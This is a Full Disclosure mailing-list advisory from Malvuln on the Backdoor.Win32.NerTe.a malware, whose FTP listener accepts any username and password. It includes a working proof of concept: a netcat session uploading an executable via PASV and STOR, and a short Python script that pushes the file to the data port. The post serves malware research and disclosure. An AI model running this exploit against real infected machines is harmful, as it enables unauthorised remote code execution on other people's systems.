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Date: Mon, 12 Jul 2021 22:16:52 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.NerTe.a / Authentication Bypass RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NerTe.a
Vulnerability: Authentication Bypass RCE
Description: The malware listens on TCP ports 21, 80 and drops an
executable under Windows dir. Third-party attackers who can reach infected
systems can logon using any username/password combination. Intruders may
then upload executables using ftp PASV, STOR commands, this can result in
remote code execution.
Type: PE32
MD5: 125364b0cdae80c10f00b75c8e2cfa47
Vuln ID: MVID-2021-0285
Dropped files: TaskMonitors.exe
Disclosure: 07/12/2021


Exploit/PoC:
nc64.exe 192.168.18.127 21
220 ICS FTP Server ready.
USER mal
331 Password required for mal.
PASS vuln
230 User mal logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
CDUP
250 CWD command successful. "C:/" is current directory.
PASV
227 Entering Passive Mode (192,168,18,127,195,82).
STOR DOOM.exe
150 Opening data connection for DOOM.exe.
226 File received ok


from socket import *

MALWARE_HOST="192.168.18.127"
PORT=50002
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Backdoor.Win32.NerTe.a / Authentication Bypass RCE")
    print("MD5: 125364b0cdae80c10f00b75c8e2cfa47")
    print("By Malvuln");

if __name__=="__main__":
    doit()


Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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